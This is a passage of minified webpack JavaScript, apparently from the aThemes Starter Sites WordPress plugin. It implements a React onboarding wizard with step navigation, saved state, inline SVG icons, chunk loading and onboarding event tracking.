.@-]*/g,"[path]").replace(/\s+/g," ").trim().slice(0,200)),t[s]=r,t},{}),w=async(e,t={})=>{if(n.includes(e))try{await(0,r.nj)("atss_track_onboarding_event",{event_name:e,session_id:l(),metadata:JSON.stringify({product:h(),..._(t)})})}catch(e){}}},694:(e,t,s)=>{"use strict";var r=s(925);function a(){}function n(){}n.resetWarningCache=a,e.exports=function(){function e(e,t,s,a,n,i){if(i!==r){var o=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw o.name="Invariant Violation",o}}function t(){return e}e.isRequired=e;var s={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:n,resetWarningCache:a};return s.PropTypes=s,s}},723:e=>{"use strict";e.exports=window.wp.i18n},790:e=>{"use strict";e.exports=window.ReactJSXRuntime},809:(e,t,s)=>{"use strict";s.d(t,{X:()=>d,p:()=>l});var r=s(87),a=s(111),n=s(649),i=s(790);const o=(0,r.createContext)(),d=()=>{const e=(0,r.useContext)(o);if(!e)throw new Error("useWizard must be used within a WizardProvider");return e},l=({children:e})=>{const[t,s]=(0,r.useState)({builder:"gutenberg",currentStep:1,completedSteps:[],data:{}}),[d,l]=(0,r.useState)(!0),[c,u]=(0,r.useState)(null),[g,p]=(0,r.useState)(null),[m,h]=(0,r.useState)(!1),[_,w]=(0,r.useState)(!1),b=(0,r.useRef)(!1);(0,r.useEffect)(()=>{(async()=>{if("undefined"!=typeof atssOnboarding)try{const e=await(0,n.tE)();e&&Object.keys(e).length>0&&(s(t=>({...t,...e,builder:e.builder||"gutenberg"})),u(null))}catch(e){console.error("Failed to load wizard state:",e),u(e.message)}finally{l(!1)}else l(!1)})()},[]),(0,r.useEffect)(()=>{d||_||(window.history.replaceState({wizardStep:t.currentStep},"",window.location.href),w(!0))},[d,_,t.currentStep]),(0,r.useEffect)(()=>{_&&!b.current?window.history.pushState({wizardStep:t.currentStep},"",window.location.href):b.current&&(b.current=!1)},[t.currentStep,_]),(0,r.useEffect)(()=>{const e=e=>{if(e.state&&"number"==typeof e.state.wizardStep){b.current=!0;const t=e.state.wizardStep;s(e=>({...e,currentStep:t}))}};return window.addEventListener("popstate",e),()=>{window.removeEventListener("popstate",e)}},[]);const x=(0,r.useCallback)((e,t)=>{s(s=>({...s,data:{...s.data,[e]:t}}))},[]),M=t.data.siteTitle||"",j=(0,r.useCallback)(e=>{s(t=>({...t,data:{...t.data,siteTitle:e}}))},[]),y=t.builder||"gutenberg",N=(0,r.useCallback)(e=>{["gutenberg","elementor","beaver-builder"].includes(e)||(console.warn(`Invalid builder: ${e}. Defaulting to gutenberg.`),e="gutenberg"),s(t=>({...t,builder:e}))},[]),f=(0,r.useCallback)(async(e=null)=>{const s=e||t;try{return await(0,n.ER)(s),u(null),!0}catch(e){return console.error("Failed to save wizard state:",e),u(e.message),!1}},[t]),z=(0,r.useCallback)(async(e,r=null,n=null)=>{const i={...t,completedSteps:t.completedSteps.includes(e)?t.completedSteps:[...t.completedSteps,e],currentStep:r||t.currentStep};if(n&&n.builder&&(i.builder=n.builder),n){const s=a.A.find(t=>t.id===e)?.slug;s&&(i.data={...t.data,[s]:n})}await f(i),s(i)},[t,f]),S=(0,r.useCallback)(e=>{s(t=>({...t,currentStep:e}))},[]),D=(0,r.useCallback)(async()=>{try{return await(0,n.Cr)(),s({currentStep:1,completedSteps:[],data:{}}),u(null),!0}catch(e){return console.error("Failed to reset wizard:",e),u(e.message),!1}},[]),C={currentStep:t.currentStep,setCurrentStep:S,completedSteps:t.completedSteps,wizardData:t.data,updateStepData:x,saveState:f,markStepCompleted:z,isLoading:d,error:c,setError:u,prefetchedPages:g,setPrefetchedPages:p,siteTitle:M,setSiteTitle:j,builder:y,setBuilder:N,isImportComplete:m,setIsImportComplete:h,resetWizard:D};return(0,i.jsx)(o.Provider,{value:C,children:e})}},811:(e,t,s)=>{"use strict";s.d(t,{A:()=>r}),s(609);const r="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAiIGhlaWdodD0iMjAiIHZpZXdCb3g9IjAgMCAyMCAyMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTAgOS44ODI4MUMwIDQuNDE0MDYgNC40NTMxMiAwIDkuOTYwOTQgMEMxNS41MDc4IDAgMTkuOTYwOSA0LjQxNDA2IDE5Ljk2MDkgOS44ODI4MUMxOS45NjA5IDE1LjM5MDYgMTUuNTA3OCAxOS44NDM4IDkuOTYwOTQgMTkuODQzOEM0LjQ1MzEyIDE5Ljg0MzggMCAxNS4zOTA2IDAgOS44ODI4MVpNNy41IDUuNzQyMTlINS44MjAzMVYxNC4wNjI1SDcuNVY1Ljc0MjE5Wk05LjE0MDYyIDUuNzQyMTlWNy40MjE4OEgxNC4xNDA2VjUuNzQyMTlIOS4xNDA2MlpNMTQuMTQwNiA5LjA2MjVIOS4xNDA2MlYxMC43NDIySDE0LjE0MDZWOS4wNjI1Wk05LjE0MDYyIDEyLjM4MjhWMTQuMDYyNUgxNC4xNDA2VjEyLjM4MjhIOS4xNDA2MloiIGZpbGw9IiM5MjAwM0IiLz4KPC9zdmc+Cg=="},832:e=>{"use strict";e.exports=window.wp.url},853:(e,t,s)=>{"use strict";e.exports=s.p+"images/waving.d05d395a.jpg"},874:(e,t,s)=>{"use strict";s.d(t,{A:()=>r});const r=s(5).A.toLowerCase().includes("botiga")},880:(e,t,s)=>{"use strict";s.d(t,{A:()=>a});var r=s(723);const a=[{key:"business",name:(0,r.__)("Business","athemes-starter-sites")},{key:"ecommerce",name:(0,r.__)("eCommerce","athemes-starter-sites")},{key:"portfolio",name:(0,r.__)("Portfolio","athemes-starter-sites")},{key:"blog",name:(0,r.__)("Blog","athemes-starter-sites")},{key:"magazine",name:(0,r.__)("Magazine","athemes-starter-sites")},{key:"other",name:(0,r.__)("Other","athemes-starter-sites")}]},921:(e,t,s)=>{"use strict";s.d(t,{A:()=>r}),s(609);const r="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAiIGhlaWdodD0iMjAiIHZpZXdCb3g9IjAgMCAyMCAyMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTIuMDcwMzEgNi4zMjgxMkMxLjYwMTU2IDcuMzQzNzUgMS4zNjcxOSA4LjUxNTYyIDEuMzY3MTkgOS42ODc1QzEuMzY3MTkgMTMuMDA3OCAzLjI4MTI1IDE1LjgyMDMgNi4wNTQ2OSAxNy4xODc1TDIuMDcwMzEgNi4zMjgxMlpNMTUuMjczNCA5LjI5Njg4QzE1LjI3MzQgMTAgMTUgMTAuODIwMyAxNC42NDg0IDExLjk1MzFMMTMuODI4MSAxNC43MjY2TDEwLjgyMDMgNS44MjAzMUMxMS4zMjgxIDUuNzgxMjUgMTEuNzU3OCA1Ljc0MjE5IDExLjc1NzggNS43NDIxOUMxMi4yMjY2IDUuNjY0MDYgMTIuMTQ4NCA1IDExLjcxODggNS4wMzkwNkMxMS43MTg4IDUuMDM5MDYgMTAuMzUxNiA1LjE1NjI1IDkuNDkyMTkgNS4xNTYyNUM4LjY3MTg4IDUuMTU2MjUgNy4zMDQ2OSA1LjAzOTA2IDcuMzA0NjkgNS4wMzkwNkM2Ljg3NSA1IDYuNzk2ODggNS43MDMxMiA3LjI2NTYyIDUuNzQyMTlDNy4yNjU2MiA1Ljc0MjE5IDcuNjk1MzEgNS43ODEyNSA4LjEyNSA1LjgyMDMxTDkuNDE0MDYgOS4zMzU5NEw3LjYxNzE5IDE0LjgwNDdMNC41NzAzMSA1LjgyMDMxQzUuMDc4MTIgNS43ODEyNSA1LjU0Njg4IDUuNzQyMTkgNS41NDY4OCA1Ljc0MjE5QzUuOTc2NTYgNS42NjQwNiA1LjkzNzUgNSA1LjQ2ODc1IDUuMDM5MDZDNS40Njg3NSA1LjAzOTA2IDQuMTQwNjIgNS4xNTYyNSAzLjI0MjE5IDUuMTU2MjVDMy4wODU5NCA1LjE1NjI1IDIuOTI5NjkgNS4xNTYyNSAyLjczNDM4IDUuMTU2MjVDNC4yMTg3NSAyLjg5MDYyIDYuNzU3ODEgMS40MDYyNSA5LjY4NzUgMS40MDYyNUMxMS44MzU5IDEuNDA2MjUgMTMuNzg5MSAyLjIyNjU2IDE1LjI3MzQgMy41OTM3NUMxNS4yMzQ0IDMuNTU0NjkgMTUuMTk1MyAzLjU1NDY5IDE1LjE1NjIgMy41NTQ2OUMxNC4zNzUgMy41NTQ2OSAxMy43ODkxIDQuMjk2ODggMTMuNzg5MSA1LjAzOTA2QzEzLjc4OTEgNS43NDIxOSAxNC4xNzk3IDYuMzI4MTIgMTQuNjA5NCA2Ljk5MjE5QzE0LjkyMTkgNy41MzkwNiAxNS4yNzM0IDguMjQyMTkgMTUuMjczNCA5LjI5Njg4Wk05LjgwNDY5IDEwLjQyOTdMMTIuMzgyOCAxNy40MjE5QzEyLjM4MjggMTcuNDYwOSAxMi40MjE5IDE3LjUgMTIuNDIxOSAxNy41MzkxQzExLjU2MjUgMTcuODUxNiAxMC42MjUgMTguMDA3OCA5LjY4NzUgMTguMDA3OEM4Ljg2NzE5IDE4LjAwNzggOC4wODU5NCAxNy44OTA2IDcuMzA0NjkgMTcuNjk1M0w5LjgwNDY5IDEwLjQyOTdaTTE2Ljk1MzEgNS43MDMxMkMxNy42MTcyIDYuOTE0MDYgMTcuOTY4OCA4LjI0MjE5IDE3Ljk2ODggOS42ODc1QzE3Ljk2ODggMTIuNzczNCAxNi4zMjgxIDE1LjQyOTcgMTMuODI4MSAxNi44NzVMMTYuMzY3MiA5LjUzMTI1QzE2Ljg3NSA4LjM1OTM4IDE3LjAzMTIgNy40MjE4OCAxNy4wMzEyIDYuNTYyNUMxNy4wMzEyIDYuMjUgMTYuOTkyMiA1Ljk3NjU2IDE2Ljk1MzEgNS43MDMxMlpNMTkuMzc1IDkuNjg3NUMxOS4zNzUgNC4zNzUgMTUgMCA5LjY4NzUgMEM0LjMzNTk0IDAgMCA0LjM3NSAwIDkuNjg3NUMwIDE1LjAzOTEgNC4zMzU5NCAxOS4zNzUgOS42ODc1IDE5LjM3NUMxNSAxOS4zNzUgMTkuMzc1IDE1LjAzOTEgMTkuMzc1IDkuNjg3NVpNMTguOTA2MiA5LjY4NzVDMTguOTA2MiAxNC44MDQ3IDE0Ljc2NTYgMTguOTQ1MyA5LjY4NzUgMTguOTQ1M0M0LjU3MDMxIDE4Ljk0NTMgMC40Mjk2ODggMTQuODA0NyAwLjQyOTY4OCA5LjY4NzVDMC40Mjk2ODggNC42MDkzOCA0LjU3MDMxIDAuNDY4NzUgOS42ODc1IDAuNDY4NzVDMTQuNzY1NiAwLjQ2ODc1IDE4LjkwNjIgNC42MDkzOCAxOC45MDYyIDkuNjg3NVoiIGZpbGw9IiMxRDIzMjciLz4KPC9zdmc+Cg=="},925:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},978:(e,t,s)=>{"use strict";s.d(t,{A:()=>o});var r=s(427),a=s(87),n=s(790);const i="__placeholder__",o=function({placeholder:e="",options:t=[],value:s=null,onChange:o,...d}){const l=(0,a.useMemo)(()=>({key:i,name:e,style:{color:"var(--atss-color-text-icon)",fontStyle:"normal"}}),[e]),c=(0,a.useMemo)(()=>s&&s.key!==i?s:l,[s,l]),u=!s||s.key===i;return(0,n.jsx)("div",{className:u?"atss-custom-select-placeholder-showing":"",children:(0,n.jsx)(r.CustomSelectControl,{...d,options:t,value:c,onChange:e=>{const{selectedItem:t}=e;t.key!==i?o(e):o({...e,selectedItem:null})}})})}}},r={};function a(e){var t=r[e];if(void 0!==t)return t.exports;var n=r[e]={exports:{}};return s[e](n,n.exports,a),n.exports}a.m=s,a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var s in t)a.o(t,s)&&!a.o(e,s)&&Object.defineProperty(e,s,{enumerable:!0,get:t[s]})},a.f={},a.e=e=>Promise.all(Object.keys(a.f).reduce((t,s)=>(a.f[s](e,t),t),[])),a.u=e=>e+".js?ver="+{73:"97798a24121b48b9ac46",124:"37236c51a0485cd565b7",205:"f805e3ecb6dd5e704548",297:"9264db36d5c2c57aca7e",453:"19b551ea89fe951ca0ef",760:"ababf029cfcee2219603",807:"cc12081079f9d3253da9"}[e],a.miniCssF=e=>e+".css",a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),e={},t="athemes-starter-sites:",a.l=(s,r,n,i)=>{if(e[s])e[s].push(r);else{var o,d;if(void 0!==n)for(var l=document.getElementsByTagName("script"),c=0;c<l.length;c++){var u=l[c];if(u.getAttribute("src")==s||u.getAttribute("data-webpack")==t+n){o=u;break}}o||(d=!0,(o=document.createElement("script")).charset="utf-8",a.nc&&o.setAttribute("nonce",a.nc),o.setAttribute("data-webpack",t+n),o.src=s),e[s]=[r];var g=(t,r)=>{o.onerror=o.onload=null,clearTimeout(p);var a=e[s];if(delete e[s],o.parentNode&&o.parentNode.removeChild(o),a&&a.forEach(e=>e(r)),t)return t(r)},p=setTimeout(g.bind(null,void 0,{type:"timeout",target:o}),12e4);o.onerror=g.bind(null,o.onerror),o.onload=g.bind(null,o.onload),d&&document.head.appendChild(o)}},a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;globalThis.importScripts&&(e=globalThis.location+"");var t=globalThis.document;if(!e&&t&&(t.currentScript&&"SCRIPT"===t.currentScript.tagName.toUpperCase()&&(e=t.currentScript.src),!e)){var s=t.getElementsByTagName("script");if(s.length)for(var r=s.length-1;r>-1&&(!e||!/^http(s?):/.test(e));)e=s[r--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/^blob:/,"").replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),a.p=e})(),(()=>{if("undefined"!=typeof document){var e={57:0};a.f.miniCss=(t,s)=>{e[t]?s.push(e[t]):0!==e[t]&&{297:1}[t]&&s.push(e[t]=(e=>new Promise((t,s)=>{var r=a.miniCssF(e),n=a.p+r;if(((e,t)=>{for(var s=document.getElementsByTagName("link"),r=0;r<s.length;r++){var a=(i=s[r]).getAttribute("data-href")||i.getAttribute("href");if("stylesheet"===i.rel&&(a===e||a===t))return i}var n=document.getElementsByTagName("style");for(r=0;r<n.length;r++){var i;if((a=(i=n[r]).getAttribute("data-href"))===e||a===t)return i}})(r,n))return t();((e,t,s,r,n)=>{var i=document.createElement("link");i.rel="stylesheet",i.type="text/css",a.nc&&(i.nonce=a.nc),i.onerror=i.onload=s=>{if(i.onerror=i.onload=null,"load"===s.type)r();else{var a=s&&s.type,o=s&&s.target&&s.target.href||t,d=new Error("Loading CSS chunk "+e+" failed.\n("+a+": "+o+")");d.name="ChunkLoadError",d.code="CSS_CHUNK_LOAD_FAILED",d.type=a,d.request=o,i.parentNode&&i.parentNode.removeChild(i),n(d)}},i.href=t,document.head.appendChild(i)})(e,n,0,t,s)}))(t).then(()=>{e[t]=0},s=>{throw delete e[t],s}))}}})(),(()=>{var e={57:0};a.f.j=(t,s)=>{var r=a.o(e,t)?e[t]:void 0;if(0!==r)if(r)s.push(r[2]);else{var n=new Promise((s,a)=>r=e[t]=[s,a]);s.push(r[2]=n);var i=a.p+a.u(t),o=new Error;a.l(i,s=>{if(a.o(e,t)&&(0!==(r=e[t])&&(e[t]=void 0),r)){var n=s&&("load"===s.type?"missing":s.type),i=s&&s.target&&s.target.src;o.message="Loading chunk "+t+" failed.\n("+n+": "+i+")",o.name="ChunkLoadError",o.type=n,o.request=i,r[1](o)}},"chunk-"+t,t)}};var t=(t,s)=>{var r,n,[i,o,d]=s,l=0;if(i.some(t=>0!==e[t])){for(r in o)a.o(o,r)&&(a.m[r]=o[r]);d&&d(a)}for(t&&t(s);l<i.length;l++)n=i[l],a.o(e,n)&&e[n]&&e[n][0](),e[n]=0},s=globalThis.webpackChunkathemes_starter_sites=globalThis.webpackChunkathemes_starter_sites||[];s.forEach(t.bind(null,0)),s.push=t.bind(null,s.push.bind(s))})(),(()=>{"use strict";var e=a(87),t=a(723),s=a(374),r=a(315),n=a(111),i=a(809),o=a(5),d=a(668),l=a(790);const c=function(){const{currentStep:a,setCurrentStep:c,completedSteps:u,markStepCompleted:g,isLoading:p,saveState:m,resetWizard:h,wizardData:_,builder:w}=(0,i.X)(),b=!!_?.design?.selectedSiteId,[x,M]=(0,e.useState)({isLoading:!1,error:null}),[j,y]=(0,e.useState)(!1),N=(0,e.useRef)(!1),[f,z]=(0,e.useState)(!1),S=(0,e.useRef)(new Set),D=e=>{const t=n.A.find(t=>t.id===e);return t?.slug||""},C=(e=a,t=null)=>{const s=D(e),r={..._,...s&&t?{[s]:t}:{}},n=r?.design||{},i=r?.pages||{},o=r?.features||{},d=r?.optin||{},l=i.selectedPages||[],c=o.selectedPlugins||[],u=n.selectedSiteId||"";return{builder:t?.builder||w||"gutenberg",step:s,demo_id:u,has_selected_starter:!!u,selected_pages_count:l.length,selected_plugins_count:c.length,optin_checked:!!d.optinChecked}};(0,e.useEffect)(()=>{if(!p&&!N.current){const e=new URLSearchParams(window.location.search),t=e.get("from-legacy");if(u.length>0&&!t&&y(!0),t){e.delete("from-legacy");const t=window.location.pathname+(e.toString()?"?"+e.toString():"");window.history.replaceState({},"",t)}N.current=!0}},[p,u.length]),(0,e.useEffect)(()=>{p||((0,d.jk)("onboarding_started")||((0,d.v)("onboarding_started",C()),(0,d.ir)("onboarding_started")),S.current.has(a)||((0,d.v)("onboarding_step_viewed",C()),S.current.add(a)))},[p,a]);const T=async(e=null,t=!1)=>{const s=((e,t=b)=>{for(let s=n.A.findIndex(t=>t.id===e)+1;s<n.A.length;s++)if(!n.A[s].requiresStarter||t)return n.A[s].id;return null})(a,2===a?!!e?.selectedSiteId:b),r=!s||s>n.A.length;M({isLoading:!0,error:null});try{await g(a,r?null:s,e),(0,d.v)(t?"onboarding_step_skipped":"onboarding_step_completed",C(a,e)),M({isLoading:!1,error:null})}catch(e){M({isLoading:!1,error:e.message}),console.error("Failed to save wizard state:",e)}},k=()=>{M({isLoading:!1,error:null});const e=((e,t=b)=>{for(let s=n.A.findIndex(t=>t.id===e)-1;s>=0;s--)if(!n.A[s].requiresStarter||t)return n.A[s].id;return null})(a);e&&e>=1&&c(e)},A=()=>{T((()=>{const e=D(a);return"design"===e?{selectedSiteId:""}:"pages"===e?{selectedPages:[],selectedPageData:[]}:"features"===e?{selectedPlugins:[]}:"optin"===e?{email:"",optinChecked:!1}:null})(),!0)};return p?(0,l.jsxs)("div",{className:"atss-onboarding-wizard__loading-screen",children:[(0,l.jsx)(s.y$,{}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__loading-text text-lg",children:(0,t.__)("Loading wizard...","athemes-starter-sites")})]}):(0,l.jsxs)("div",{className:"atss-onboarding-wizard "+(o.A?`atss-onboarding-wizard--theme-${o.A.toLowerCase()}`:""),children:[(0,l.jsx)(r.A,{isOpen:j,onResume:()=>{y(!1)},onRestart:async()=>{await h()&&((0,d.Cb)(),y(!1),N.current=!1)}}),(0,l.jsxs)("div",{className:"atss-onboarding-wizard__container",children:[(0,l.jsx)(s.Vx,{steps:n.A,currentStep:a,completedSteps:u,onStepChange:e=>{c(e)},onClose:()=>{const e=atssOnboarding?.dashboardUrl||"admin.php?page=themes.php";window.location.href=e},isImporting:f}),(0,l.jsx)("main",{className:"atss-onboarding-wizard__content",children:(0,l.jsx)(e.Suspense,{fallback:3===a||4===a?null:(0,l.jsx)("div",{className:"atss-onboarding-wizard__step-loading","aria-label":(0,t.__)("Loading step","athemes-starter-sites"),children:(0,l.jsx)(s.y$,{})}),children:(()=>{const e=n.A.find(e=>e.id===a);if(!e||!e.component)return null;const t=e.component;return(0,l.jsx)(t,{onBack:k,onSkip:A,onContinue:T,navigationLoading:x.isLoading,navigationError:x.error,onImportingChange:z})})()})},a)]})]})};function u(){const t=document.getElementById("atss-onboarding-wizard-root");t?"undefined"!=typeof atssOnboarding?(0,e.createRoot)(t).render((0,l.jsx)(i.p,{children:(0,l.jsx)(c,{})})):console.error("Onboarding wizard configuration data not found."):console.error("Onboarding wizard root element not found.")}"undefined"!=typeof _&&"function"==typeof _.noConflict&&"function"==typeof _.at&&_.noConflict(),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",u):u()})()})();